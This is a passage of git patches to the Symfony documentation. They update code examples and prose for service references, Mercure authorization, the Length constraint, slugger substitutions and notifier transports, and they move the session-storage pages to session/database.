                 ->decorate(Foo::class, null, 5)
-                ->args([ref('.inner')]);
+                ->args([service('.inner')]);
 
             $services->set(Baz::class)
                 ->decorate(Foo::class, null, 1)
-                ->args([ref('.inner')]);
+                ->args([service('.inner')]);
         };
 
 
@@ -371,7 +372,7 @@ Three different behaviors are available:
 
             $services->set(Bar::class)
                 ->decorate(Foo::class, null, 0, ContainerInterface::IGNORE_ON_INVALID_REFERENCE)
-                ->args([ref('.inner')])
+                ->args([service('.inner')])
             ;
         };
 
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 6a193b70cdf..a7714a99bb3 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -311,9 +311,10 @@ service definition to pass a collection of services to the service locator:
             $services = $configurator->services();
 
             $services->set('app.command_handler_locator', ServiceLocator::class)
+                // In versions earlier to Symfony 5.1 the service() function was called ref()
                 ->args([[
-                    'App\FooCommand' => ref('app.command_handler.foo'),
-                    'App\BarCommand' => ref('app.command_handler.bar'),
+                    'App\FooCommand' => service('app.command_handler.foo'),
+                    'App\BarCommand' => service('app.command_handler.bar'),
                 ]])
                 // if you are not using the default service autoconfiguration,
                 // add the following tag to the service definition:
@@ -323,7 +324,7 @@ service definition to pass a collection of services to the service locator:
             // if the element has no key, the ID of the original service is used
             $services->set('app.another_command_handler_locator', ServiceLocator::class)
                 ->args([[
-                    ref('app.command_handler.baz'),
+                    service('app.command_handler.baz'),
                 ]])
             ;
         };
@@ -372,7 +373,7 @@ Now you can use the service locator by injecting it in any other service:
             $services = $configurator->services();
 
             $services->set(CommandBus::class)
-                ->args([ref('app.command_handler_locator')]);
+                ->args([service('app.command_handler_locator')]);
         };
 
 In :doc:`compiler passes </service_container/compiler_passes>` it's recommended

From e890ac80792a60527b2ae0d187b235519b5e8748 Mon Sep 17 00:00:00 2001
From: Fabien Salathe <fabacrans@gmail.com>
Date: Wed, 20 May 2020 18:18:33 +0200
Subject: [PATCH 0743/7107] DataCollector `collect` needs a `Throwable`

---
 profiler/data_collector.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
index 85e046785d3..c1812e1209f 100644
--- a/profiler/data_collector.rst
+++ b/profiler/data_collector.rst
@@ -30,7 +30,7 @@ request::
 
     class RequestCollector extends DataCollector
     {
-        public function collect(Request $request, Response $response, \Exception $exception = null)
+        public function collect(Request $request, Response $response, \Throwable $exception = null)
         {
             $this->data = [
                 'method' => $request->getMethod(),

From 97878117be78c0e7da2e88465f49cdf5367ffaeb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 20 May 2020 16:36:42 +0200
Subject: [PATCH 0744/7107] Link to the NGINX Unit article for Symfony apps

---
 setup/web_server_configuration.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index 5fc2eea3c32..d2defbaad19 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -313,6 +313,11 @@ The **minimum configuration** to get your application running under nginx is:
         access_log /var/log/nginx/project_access.log;
     }
 
+.. tip::
+
+    If you use NGINX Unit, check out the official article about
+    `How to run Symfony applications using NGINX Unit`_.
+
 .. note::
 
     Depending on your PHP-FPM config, the ``fastcgi_pass`` can also be
@@ -344,3 +349,4 @@ For advanced nginx configuration options, read the official `nginx documentation
 .. _`Apache documentation`: https://httpd.apache.org/docs/
 .. _`FastCgiExternalServer`: https://docs.oracle.com/cd/B31017_01/web.1013/q20204/mod_fastcgi.html#FastCgiExternalServer
 .. _`nginx documentation`: https://www.nginx.com/resources/wiki/start/topics/recipes/symfony/
+.. _`How to run Symfony applications using NGINX Unit`: https://unit.nginx.org/howto/symfony/

From e33d34af96d6469b8d4940d65568473fd65cf0f5 Mon Sep 17 00:00:00 2001
From: BETARI <amine.betari@gmail.com>
Date: Sat, 23 May 2020 01:41:40 +0200
Subject: [PATCH 0745/7107] Update security.rst

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 9384426da5d..f6940ec5c8a 100644
--- a/security.rst
+++ b/security.rst
@@ -881,7 +881,7 @@ Next, you'll need to create a route for this URL (but not a controller):
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return function (RoutingConfigurator $routes) {
-            $routes->add('logout', '/logout')
+            $routes->add('app_logout', '/logout')
                 ->methods(['GET'])
             ;
         };

From 808abdd5ebf67c86ddd9c4d902206db400c006bd Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@xabbuh.de>
Date: Sat, 23 May 2020 08:48:04 +0200
Subject: [PATCH 0746/7107] deprecate the allowEmptyString option

---
 reference/constraints/Length.rst | 13 ++++++++-----
 1 file changed, 8 insertions(+), 5 deletions(-)

diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index a74673a5354..365aedfb585 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -42,8 +42,7 @@ and "50", you might add the following:
              *      min = 2,
              *      max = 50,
              *      minMessage = "Your first name must be at least {{ limit }} characters long",
-             *      maxMessage = "Your first name cannot be longer than {{ limit }} characters",
-             *      allowEmptyString = false
+             *      maxMessage = "Your first name cannot be longer than {{ limit }} characters"
              * )
              */
             protected $firstName;
@@ -60,7 +59,6 @@ and "50", you might add the following:
                         max: 50
                         minMessage: 'Your first name must be at least {{ limit }} characters long'
                         maxMessage: 'Your first name cannot be longer than {{ limit }} characters'
-                        allowEmptyString: false
 
     .. code-block:: xml
 
@@ -81,7 +79,6 @@ and "50", you might add the following:
                         <option name="maxMessage">
                             Your first name cannot be longer than {{ limit }} characters
                         </option>
-                        <option name="allowEmptyString">false</option>
                     </constraint>
                 </property>
             </class>
@@ -104,7 +101,6 @@ and "50", you might add the following:
                     'max' => 50,
                     'minMessage' => 'Your first name must be at least {{ limit }} characters long',
                     'maxMessage' => 'Your first name cannot be longer than {{ limit }} characters',
-                    'allowEmptyString' => false,
                 ]));
             }
         }
@@ -119,6 +115,13 @@ allowEmptyString
 
 **type**: ``boolean``  **default**: ``false``
 
+.. deprecated:: 5.2
+
+    The ``allowEmptyString`` option is deprecated since Symfony 5.2. If you
+    want to allow empty strings too, combine the ``Length`` constraint with
+    the :doc:`Blank constraint </reference/constraints/Blank>` inside the
+    :doc:`AtLeastOneOf constraint </reference/constraints/AtLeastOneOf>`.
+
 If set to ``true``, empty strings are considered valid (which is the same
 behavior as previous Symfony versions). The default ``false`` value considers
 empty strings not valid.

From 728f6f6fb642ce023480763545c2ee0c52b09de4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Carsten=20Bl=C3=BCm?= <carsten@bluem.net>
Date: Sat, 23 May 2020 10:55:43 +0200
Subject: [PATCH 0747/7107] Fix subtype in TextPart constructor calls

In examples, 'html' is given as argument 2, while it has to be argument 3
---
 components/mime.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/mime.rst b/components/mime.rst
index dd20b62f02d..c366f3d2ac7 100644
--- a/components/mime.rst
+++ b/components/mime.rst
@@ -170,7 +170,7 @@ different parts of the email by hand::
     ;
 
     $textContent = new TextPart('Lorem ipsum...');
-    $htmlContent = new TextPart('<h1>Lorem ipsum</h1> <p>...</p>', 'html');
+    $htmlContent = new TextPart('<h1>Lorem ipsum</h1> <p>...</p>', null, 'html');
     $body = new AlternativePart($textContent, $htmlContent);
 
     $email = new Message($headers, $body);
@@ -192,7 +192,7 @@ email multiparts::
     $textContent = new TextPart('Lorem ipsum...');
     $htmlContent = new TextPart(sprintf(
         '<img src="cid:%s"/> <h1>Lorem ipsum</h1> <p>...</p>', $imageCid
-    ), 'html');
+    ), null, 'html');
     $bodyContent = new AlternativePart($textContent, $htmlContent);
     $body = new RelatedPart($bodyContent, $embeddedImage);
 

From f362b28280123656bcdced3fa1c46cb56beae14f Mon Sep 17 00:00:00 2001
From: Thomas <53090992+apiv-thomas@users.noreply.github.com>
Date: Tue, 26 May 2020 14:50:00 +0200
Subject: [PATCH 0748/7107] Added return value to make the example work as is

---
 console/commands_as_services.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/console/commands_as_services.rst b/console/commands_as_services.rst
index a184fda33db..de58e4e00b1 100644
--- a/console/commands_as_services.rst
+++ b/console/commands_as_services.rst
@@ -45,6 +45,8 @@ For example, suppose you want to log something from within your command::
         {
             $this->logger->info('Waking up the sun');
             // ...
+            
+            return 0;
         }
     }
 

From da71950c8d72df31fc76f41c9953b504aa4068a4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?K=C3=A9vin=20Dunglas?= <dunglas@gmail.com>
Date: Wed, 27 May 2020 18:34:32 +0200
Subject: [PATCH 0749/7107] [Mercure] Compatibility with v0.10

---
 mercure.rst | 40 +++++++++++++++++++++-------------------
 1 file changed, 21 insertions(+), 19 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index b8b41b0182c..11b5923b04b 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -27,9 +27,10 @@ has `high-level implementations`_ in many programming languages.
 
 Mercure comes with an authorization mechanism,
 automatic re-connection in case of network issues
-with retrieving of lost updates, "connection-less" push for smartphones and
-auto-discoverability (a supported client can automatically discover and
-subscribe to updates of a given resource thanks to a specific HTTP header).
+with retrieving of lost updates, a presence API,
+"connection-less" push for smartphones and auto-discoverability (a supported
+client can automatically discover and subscribe to updates of a given resource
+thanks to a specific HTTP header).
 
 All these features are supported in the Symfony integration.
 
@@ -71,7 +72,7 @@ Run the following command to start it:
 
 .. code-block:: terminal
 
-    $ ./mercure --jwt-key='aVerySecretKey' --addr='localhost:3000' --allow-anonymous --cors-allowed-origins='*'
+    $ ./mercure --jwt-key='!ChangeMe!' --addr='localhost:3000' --allow-anonymous --cors-allowed-origins='*'
 
 .. note::
 
@@ -102,7 +103,7 @@ to the Mercure Hub to be authorized to publish updates.
 This JWT should be stored in the ``MERCURE_JWT_TOKEN`` environment variable.
 
 The JWT must be signed with the same secret key as the one used by
-the Hub to verify the JWT (``aVerySecretKey`` in our example).
+the Hub to verify the JWT (``!ChangeMe!`` in our example).
 Its payload must contain at least the following structure to be allowed to
 publish:
 
@@ -120,7 +121,7 @@ public updates (see the authorization_ section for further information).
 .. tip::
 
     The jwt.io website is a convenient way to create and sign JWTs.
-    Checkout this `example JWT`_, that grants publishing rights for all *targets*
+    Checkout this `example JWT`_, that grants publishing rights for all *topics*
     (notice the star in the array).
     Don't forget to set your secret key properly in the bottom of the right panel of the form!
 
@@ -196,7 +197,8 @@ Subscribing to updates in JavaScript is straightforward:
     }
 
 Mercure also allows to subscribe to several topics,
-and to use URI Templates as patterns:
+and to use URI Templates or the special value ``*`` (matched by all topics)
+as patterns:
 
 .. code-block:: javascript
 
@@ -329,8 +331,8 @@ Authorization
 -------------
 
 Mercure also allows to dispatch updates only to authorized clients.
-To do so, set the list of **targets** allowed to receive the update
-as the third parameter of the ``Update`` constructor::
+To do so, mark the update as **private** by setting the third parameter
+of the ``Update`` constructor to ``true``::
 
     // src/Controller/Publish.php
     namespace App\Controller;
@@ -346,19 +348,19 @@ as the third parameter of the ``Update`` constructor::
             $update = new Update(
                 'http://example.com/books/1',
                 json_encode(['status' => 'OutOfStock']),
-                ['http://example.com/user/kevin', 'http://example.com/groups/admin'] // Here are the targets
+                true // private
             );
 
-            // Publisher's JWT must contain all of these targets or * in mercure.publish or you'll get a 401
-            // Subscriber's JWT must contain at least one of these targets or * in mercure.subscribe to receive the update
+            // Publisher's JWT must contain this topic, a URI template it matches or * in mercure.publish or you'll get a 401
+            // Subscriber's JWT must contain this topic, a URI template it matches or or * in mercure.subscribe to receive the update
             $publisher($update);
 
-            return new Response('published to the selected targets!');
+            return new Response('private update published!');
         }
     }
 
-To subscribe to private updates, subscribers must provide
-a JWT containing at least one target marking the update to the Hub.
+To subscribe to private updates, subscribers must provide to the Hub
+a JWT containing containing a topic selector matching by the update's topic.
 
 To provide this JWT, the subscriber can use a cookie,
 or a ``Authorization`` HTTP header.
@@ -380,9 +382,9 @@ If the client is not a web browser, then using an authorization header is the wa
         });
 
 In the following example controller,
-the generated cookie contains a JWT, itself containing the appropriate targets.
+the generated cookie contains a JWT, itself containing the appropriate topic selector.
 This cookie will be automatically sent by the web browser when connecting to the Hub.
-Then, the Hub will verify the validity of the provided JWT, and extract the targets
+Then, the Hub will verify the validity of the provided JWT, and extract the topic selectors
 from it.
 
 To generate the JWT, we'll use the ``lcobucci/jwt`` library. Install it:
@@ -414,8 +416,8 @@ And here is the controller::
             $username = $this->getUser()->getUsername(); // Retrieve the username of the current user
             $token = (new Builder())
                 // set other appropriate JWT claims, such as an expiration date
-                ->withClaim('mercure', ['subscribe' => ["http://example.com/user/$username"]]) // could also include the security roles, or anything else
-                ->getToken(new Sha256(), new Key($this->getParameter('mercure_secret_key'))); // don't forget to set this parameter! Test value: aVerySecretKey
+                ->withClaim('mercure', ['subscribe' => ["http://example.com/books/1"]]) // can also be a URI template, or *
+                ->getToken(new Sha256(), new Key($this->getParameter('mercure_secret_key'))); // don't forget to set this parameter! Test value: !ChangeMe!
 
             $response = $this->json(['@id' => '/demo/books/1', 'availability' => 'https://schema.org/InStock']);
             $response->headers->set(

From c7b6a03f433b14a4fc7afbfcc501a04bf9a05bdb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 May 2020 14:45:31 +0200
Subject: [PATCH 0750/7107] Minor fixes

---
 mercure.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mercure.rst b/mercure.rst
index 11b5923b04b..2f71bbc6e5c 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -352,7 +352,7 @@ of the ``Update`` constructor to ``true``::
             );
 
             // Publisher's JWT must contain this topic, a URI template it matches or * in mercure.publish or you'll get a 401
-            // Subscriber's JWT must contain this topic, a URI template it matches or or * in mercure.subscribe to receive the update
+            // Subscriber's JWT must contain this topic, a URI template it matches or * in mercure.subscribe to receive the update
             $publisher($update);
 
             return new Response('private update published!');
@@ -360,7 +360,7 @@ of the ``Update`` constructor to ``true``::
     }
 
 To subscribe to private updates, subscribers must provide to the Hub
-a JWT containing containing a topic selector matching by the update's topic.
+a JWT containing a topic selector matching by the update's topic.
 
 To provide this JWT, the subscriber can use a cookie,
 or a ``Authorization`` HTTP header.

From 9b1bd49a6ee41cbb38af4e24e22e841f1a0dd3d7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 May 2020 15:00:18 +0200
Subject: [PATCH 0751/7107] [Messenger] Added Amazon SQS transport

---
 messenger.rst | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index b13e7942047..f519792e1a1 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -118,8 +118,7 @@ is capable of sending messages (e.g. to a queueing system) and then
 .. note::
 
     If you want to use a transport that's not supported, check out the
-    `Enqueue's transport`_, which supports things like Kafka, Amazon SQS and
-    Google Pub/Sub.
+    `Enqueue's transport`_, which supports things like Kafka and Google Pub/Sub.
 
 A transport is registered using a "DSN". Thanks to Messenger's Flex recipe, your
 ``.env`` file already has a few examples.

From 66ee17e44908e7339d59bc46d6aa3ae1c8cc5fe1 Mon Sep 17 00:00:00 2001
From: Ahmed El Moden <cresuso@gmail.com>
Date: Thu, 28 May 2020 15:06:04 +0200
Subject: [PATCH 0752/7107] Nginx dev config

---
 setup/web_server_configuration.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst
index d2defbaad19..52d673e5aca 100644
--- a/setup/web_server_configuration.rst
+++ b/setup/web_server_configuration.rst
@@ -264,6 +264,7 @@ The **minimum configuration** to get your application running under nginx is:
 
         location / {
             # try to serve file directly, fallback to app.php
+            # replace app.php by app_dev.php in dev
             try_files $uri /app.php$is_args$args;
         }
         # DEV

From aaabeb8f4ab9b8914fed2b954963554439135445 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 May 2020 15:15:00 +0200
Subject: [PATCH 0753/7107] [String] Allow to define additional slugger
 substitutions

---
 components/string.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/components/string.rst b/components/string.rst
index 4a56c1d0b93..2d5d1dd8e9e 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -468,6 +468,15 @@ that only includes safe ASCII characters::
     $slug = $slugger->slug('Wôrķšƥáçè ~~sèťtïñğš~~');
     // $slug = 'Workspace-settings'
 
+    // you can also pass an array with additional character substitutions
+    $slugger = new AsciiSlugger('en', ['%' => 'percent', '€' => 'euro']);
+    $slug = $slugger->slug('10% or 5€');
+    // $slug = '10-percent-or-5-euro'
+
+.. versionadded:: 5.1
+
+    The feature to define additional substitutions was introduced in Symfony 5.1.
+
 The separator between words is a dash (``-``) by default, but you can define
 another separator as the second argument::
 

From 40469a7de2118b929695a83769a869fe5cb35694 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marcin=20Szepczy=C5=84ski?= <szepczynski@gmail.com>
Date: Sun, 24 May 2020 14:04:45 +0200
Subject: [PATCH 0754/7107] add smsapi-notifier

---
 notifier.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index 4db058ee6a0..39b0313b9cb 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -60,6 +60,7 @@ Nexmo       ``symfony/nexmo-notifier``       ``nexmo://KEY:SECRET@default?from=F
 OvhCloud    ``symfony/ovhcloud-notifier``    ``ovhcloud://KEY:SECRET@default?from=FROM``
 Sinch       ``symfony/sinch-notifier``       ``sinch://ACCOUNT_ID:AUTH_TOKEN@default?from=FROM``
 FreeMobile  ``symfony/freemobile-notifier``  ``freemobile://LOGIN:PASS@default?phone=PHONE``
+Smsapi      ``symfony/smsapi-notifier``      ``smsapi://TOKEN@default?from=FROM``
 ==========  ===============================  ====================================================
 
 .. versionadded:: 5.1
@@ -294,7 +295,7 @@ transport:
                         %env(SLACK_DSN)% || %env(TELEGRAM_DSN)%
                     </framework:chatter-transport>
 
-                    <!-- Send notifications to the next scheduled transport 
+                    <!-- Send notifications to the next scheduled transport
                          calculated by round robin -->
                     <framework:chatter-transport name="slack">
                         %env(SLACK_DSN)% && %env(TELEGRAM_DSN)%

From f603a98298d253848052066e1a555f2464c75157 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 May 2020 15:37:28 +0200
Subject: [PATCH 0755/7107] [Mailer] Document how to set headers

---
 mailer.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 2e3d7a1c881..be19e495751 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -186,6 +186,23 @@ Alternatively, you can pass multiple addresses to each method::
         // ...
     ;
 
+Message Headers
+~~~~~~~~~~~~~~~
+
+Messages include a number of header fields to describe their contents. Symfony
+sets all the required headers automatically, but you can set your own headers
+too. There are different types of headers (Id header, Mailbox header, Date
+header, etc.) but most of the times you'll set text headers::
+
+    $email = (new Email())
+        ->getHeaders()
+            // this header tells auto-repliers ("email holiday mode") to not
+            // reply to this message because it's an automated email
+            ->addTextHeader('X-Auto-Response-Suppress', 'OOF, DR, RN, NRN, AutoReply');
+
+        // ...
+    ;
+
 Message Contents
 ~~~~~~~~~~~~~~~~
 

From fd409ab8907210a5c9c33720c4caec9897e57089 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 28 May 2020 16:18:46 +0200
Subject: [PATCH 0756/7107] [PropertyInfo] Mentioned support for PHP typed
 properties

---
 components/property_info.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/property_info.rst b/components/property_info.rst
index ffce72e40bb..fbdb50d1b0c 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -122,6 +122,7 @@ class exposes public methods to extract several types of information:
 
 * :ref:`List of properties <property-info-list>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyListExtractorInterface::getProperties`
 * :ref:`Property type <property-info-type>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyTypeExtractorInterface::getTypes`
+  (including typed properties since PHP 7.4)
 * :ref:`Property description <property-info-description>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyDescriptionExtractorInterface::getShortDescription` and :method:`Symfony\\Component\\PropertyInfo\\PropertyDescriptionExtractorInterface::getLongDescription`
 * :ref:`Property access details <property-info-access>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyAccessExtractorInterface::isReadable` and  :method:`Symfony\\Component\\PropertyInfo\\PropertyAccessExtractorInterface::isWritable`
 * :ref:`Property initializable through the constructor <property-info-initializable>`:  :method:`Symfony\\Component\\PropertyInfo\\PropertyInitializableExtractorInterface::isInitializable`
@@ -292,6 +293,10 @@ string values: ``array``, ``bool``, ``callable``, ``float``, ``int``,
 Constants inside the :class:`Symfony\\Component\\PropertyInfo\\Type`
 class, in the form ``Type::BUILTIN_TYPE_*``, are provided for convenience.
 
+.. versionadded:: 5.1
+
+    Support for typed properties (added in PHP 7.4) was introduced in Symfony 5.1.
+
 ``Type::isNullable()``
 ~~~~~~~~~~~~~~~~~~~~~~
 

From 500d9618055069450c3716a3546d8383d933e03f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 16 Sep 2019 12:57:29 +0200
Subject: [PATCH 0757/7107] Reworded the docs about storing sessions in
 database

---
 _build/redirection_map                |   2 +
 doctrine.rst                          |   3 +-
 doctrine/mongodb_session_storage.rst  |  31 --
 doctrine/pdo_session_storage.rst      | 276 ------------
 reference/configuration/framework.rst |  61 +--
 session.rst                           |   9 +-
 session/database.rst                  | 600 ++++++++++++++++++++++++++
 7 files changed, 612 insertions(+), 370 deletions(-)
 delete mode 100644 doctrine/mongodb_session_storage.rst
 delete mode 100644 doctrine/pdo_session_storage.rst
 create mode 100644 session/database.rst

diff --git a/_build/redirection_map b/_build/redirection_map
index 6d591d7ffc5..8b09f4ff0cc 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -479,3 +479,5 @@
 /components/translation/custom_formats https://github.com/symfony/translation
 /components/translation/custom_message_formatter https://github.com/symfony/translation
 /components/routing https://github.com/symfony/routing
+/doctrine/pdo_session_storage /session/database
+/doctrine/mongodb_session_storage /session/database
diff --git a/doctrine.rst b/doctrine.rst
index abd1b400bfb..b49e70ed407 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -853,10 +853,9 @@ Learn more
     doctrine/custom_dql_functions
     doctrine/dbal
     doctrine/multiple_entity_managers
-    doctrine/pdo_session_storage
-    doctrine/mongodb_session_storage
     doctrine/resolve_target_entity
     doctrine/reverse_engineering
+    session/database
     testing/database
 
 .. _`Doctrine`: https://www.doctrine-project.org/
diff --git a/doctrine/mongodb_session_storage.rst b/doctrine/mongodb_session_storage.rst
deleted file mode 100644
index 7ec897bf0a1..00000000000
--- a/doctrine/mongodb_session_storage.rst
+++ /dev/null
@@ -1,31 +0,0 @@
-How to Use MongoDbSessionHandler to Store Sessions in a MongoDB Database
-========================================================================
-
-The default Symfony session storage writes the session information to files.
-Some medium to large websites use a NoSQL database called MongoDB to store the
-session values instead of files, because databases are easier to use and scale
-in a multi-webserver environment.
-
-Symfony has a built-in solution for NoSQL database session storage called
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\MongoDbSessionHandler`.
-To use this, you will need to:
-
-A) Register a ``MongoDbSessionHandler`` service;
-
-B) Configure this under ``framework.session.handler_id`` configuration.
-
-To see how to configure a similar handler, see :doc:`/doctrine/pdo_session_storage`.
-
-Setting Up the MongoDB Collection
----------------------------------
-
-You do not need to do anything to initialize your session collection. However, you
-may want to add an index to improve garbage collection performance. From the
-`MongoDB shell`_:
-
-.. code-block:: javascript
-
-    use session_db
-    db.session.ensureIndex( { "expires_at": 1 }, { expireAfterSeconds: 0 } )
-
-.. _MongoDB shell: https://docs.mongodb.com/manual/mongo/
diff --git a/doctrine/pdo_session_storage.rst b/doctrine/pdo_session_storage.rst
deleted file mode 100644
index 8123a68460d..00000000000
--- a/doctrine/pdo_session_storage.rst
+++ /dev/null
@@ -1,276 +0,0 @@
-.. index::
-    single: Session; Database Storage
-
-How to Use PdoSessionHandler to Store Sessions in the Database
-==============================================================
-
-The default Symfony session storage writes the session information to files.
-Most medium to large websites use a database to store the session values
-instead of files, because databases are easier to use and scale in a
-multiple web server environment.
-
-Symfony has a built-in solution for database session storage called
-:class:`Symfony\\Component\\HttpFoundation\\Session\\Storage\\Handler\\PdoSessionHandler`.
-To use it, first register a new handler service:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler:
-                arguments:
-                    - 'mysql:dbname=mydatabase; host=myhost; port=myport'
-                    - { db_username: myuser, db_password: mypassword }
-
-                    # If you're using Doctrine & want to re-use that connection, then:
-                    # comment-out the above 2 lines and uncomment the line below
-                    # - !service { class: PDO, factory: ['@database_connection', 'getWrappedConnection'] }
-                    # If you get transaction issues (e.g. after login) uncomment the line below
-                    # - { lock_mode: 1 }
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <services>
-                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" public="false">
-                    <argument>mysql:dbname=mydatabase, host=myhost</argument>
-                    <argument type="collection">
-                        <argument key="db_username">myuser</argument>
-                        <argument key="db_password">mypassword</argument>
-                    </argument>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
-
-        $storageDefinition = $container->autowire(PdoSessionHandler::class)
-            ->setArguments([
-                'mysql:dbname=mydatabase; host=myhost; port=myport',
-                ['db_username' => 'myuser', 'db_password' => 'mypassword'],
-            ])
-        ;
-
-.. tip::
-
-    Configure the database credentials
-    :ref:`using environment variables <config-env-vars>`
-    or as a :doc:`secret </configuration/secrets>` to make your application
-    more secure.
-
-Next, tell Symfony to use your service as the session handler:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/framework.yaml
-        framework:
-            session:
-                # ...
-                handler_id: Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler
-
-    .. code-block:: xml
-
-        <!-- config/packages/framework.xml -->
-        <framework:config>
-            <!-- ... -->
-            <framework:session handler-id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" cookie-lifetime="3600" auto-start="true"/>
-        </framework:config>
-
-    .. code-block:: php
-
-        // config/packages/framework.php
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
-
-        // ...
-        $container->loadFromExtension('framework', [
-            // ...
-            'session' => [
-                // ...
-                'handler_id' => PdoSessionHandler::class,
-            ],
-        ]);
-
-Configuring the Table and Column Names
---------------------------------------
-
-This will expect a ``sessions`` table with a number of different columns.
-The table name, and all of the column names, can be configured by passing
-a second array argument to ``PdoSessionHandler``:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler:
-                arguments:
-                    - 'mysql:dbname=mydatabase; host=myhost; port=myport'
-                    - { db_table: 'sessions', db_username: 'myuser', db_password: 'mypassword' }
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler" public="false">
-                    <argument>mysql:dbname=mydatabase, host=myhost</argument>
-                    <argument type="collection">
-                        <argument key="db_table">sessions</argument>
-                        <argument key="db_username">myuser</argument>
-                        <argument key="db_password">mypassword</argument>
-                    </argument>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
-        // ...
-
-        $container->autowire(PdoSessionHandler::class)
-            ->setArguments([
-                'mysql:dbname=mydatabase; host=myhost; port=myport',
-                ['db_table' => 'sessions', 'db_username' => 'myuser', 'db_password' => 'mypassword']
-            ])
-        ;
-
-These are parameters that you can configure:
-
-``db_table`` (default ``sessions``):
-    The name of the session table in your database;
-
-``db_id_col`` (default ``sess_id``):
-    The name of the id column in your session table (VARCHAR(128));
-
-``db_data_col`` (default ``sess_data``):
-    The name of the value column in your session table (BLOB);
-
-``db_time_col`` (default ``sess_time``):
-    The name of the time column in your session table (INTEGER);
-
-``db_lifetime_col`` (default ``sess_lifetime``):
-    The name of the lifetime column in your session table (INTEGER).
-
-.. _example-sql-statements:
-
